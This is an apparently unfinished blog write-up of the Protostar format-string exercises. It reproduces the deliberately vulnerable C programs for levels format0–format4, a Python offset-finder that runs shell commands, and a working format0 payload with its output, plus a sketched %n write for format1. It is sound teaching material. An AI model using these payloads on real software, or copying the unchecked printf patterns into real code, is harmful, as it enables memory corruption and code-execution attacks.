Security oriented blog

Protostar | format exploit-exercises solutions

21 Feb 2015

Protostar introduces the following in a friendly way:

  • Network programming
  • Byte order
  • Handling sockets
  • Stack overflows
  • Format strings
  • Heap overflows

A quick and dirty offset finder for argv[1], works kind of, will be used in later levels:

import subprocess
from sys import argv
#Find parameter offset to argv[1]
#Inspired by https://lambdahackulus.wordpress.com

def system_call(command):
    p = subprocess.Popen([command], stdout=subprocess.PIPE, shell=True)
    return p.stdout.read()
    
positions = []
for i in range(int(argv[2]) , int(argv[3])):
        f = "AAAAAAAA%"+str(i)+"\$8x"
	#print f
        ret = system_call(argv[1]+" " + f)
	#print ret
        if "414141" in ret:
		print f
                positions.append(i)
for pos in positions:
        print "Found at parameter: " + str(pos)

##Format0

This post assumes the reader know why a format string vulnerability occurs, if you don’t know owasp have a good intro here.

Format0.c

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln(char *string)
{
  volatile int target;
  char buffer[64];

  target = 0;

  sprintf(buffer, string);
  
  if(target == 0xdeadbeef) {
      printf("you have hit the target correctly :)\n");
  }
}

int main(int argc, char **argv)
{
  vuln(argv[1]);
}

The given argument in vuln are saved into a buffer, without proper sprintf formatters. We should be able to access and overwrite the target value with print specifiers.

The stack layout in vuln:

.text:0804844C buffer= byte ptr -4Ch
.text:0804844C target= dword ptr -0Ch
.text:0804844C string= dword ptr  8

And as string is below target we will be able to access and overwrite it with formatters.

Lets load it up in gdb and find the stack addresses for buffer and target to calculate the offset our format specifier will need to overwrite target relative from the buffer.

Relevant part of vuln function.

mov    DWORD PTR [ebp-0xc],0x0 /*target = 0*/
mov    eax,DWORD PTR [ebp+0x8] /*format string*/
mov    DWORD PTR [esp+0x4],eax
lea    eax,[ebp-0x4c] /*buffer*/
mov    DWORD PTR [esp],eax
call   0x8048350 <sprintf@plt>

The addresses:

/*target*/
gdb-peda$ x/x $ebp-0xc
0xbffff35c: 0x00000000

/*buffer*/
gdb-peda$ x/x $ebp-0x4C
0xbffff31c: 0x00000001

Offset:0xbffff35c-0xbffff31c = 0x40 = 64d

And our payload becomes:

64bytes+0xdeadbeef

%64x+0xdeadbeef

$(python -c 'print "%64x"+"\xef\xbe\xad\xde"')

tomasuh@crunch:~/programming/pentest/protostar$ ./format0 $(python -c 'print "%64x"+"\xef\xbe\xad\xde"')
you have hit the target correctly :)

Lets also verify it in gdb for fun.

![alt text](/images/format0.png “”)

##Format1

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void vuln(char *string)
{
  printf(string);
  
  if(target) {
      printf("you have modified the target :)\n");
  }
}

int main(int argc, char **argv)
{
  vuln(argv[1]);
}
   0x08048405 <+17>:	mov    eax,ds:0x8049638
   0x0804840a <+22>:	test   eax,eax
   0x0804840c <+24>:	je     0x804841a <vuln+38> //bad jump

We need to change 0x8049638, first lets find the offset to our input buffer. (TODO)


Thats what we need to know, the exploit will look like this: |0x8049638|%8$n|, which supposedly should give 0x8049638 the value 0x04000000


root@kali:~/Desktop/pentest/protostar# ./format1 %8\$p
0xbffff713 <-- base of argv[1]
0xbffff713-4-nrOfBytes = start
-4 for %8\$p

##Format2

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);
  printf(buffer);
  
  if(target == 64) {
      printf("you have modified the target :)\n");
  } else {
      printf("target is %d :(\n", target);
  }
}

int main(int argc, char **argv)
{
  vuln();
}

##Format3

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void printbuffer(char *string)
{
  printf(string);
}

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);

  printbuffer(buffer);
  
  if(target == 0x01025544) {
      printf("you have modified the target :)\n");
  } else {
      printf("target is %08x :(\n", target);
  }
}

int main(int argc, char **argv)
{
  vuln();
}

##Format4

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void hello()
{
  printf("code execution redirected! you win\n");
  _exit(1);
}

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);

  printf(buffer);

  exit(1);   
}

int main(int argc, char **argv)
{
  vuln();
}

comments powered by Disqus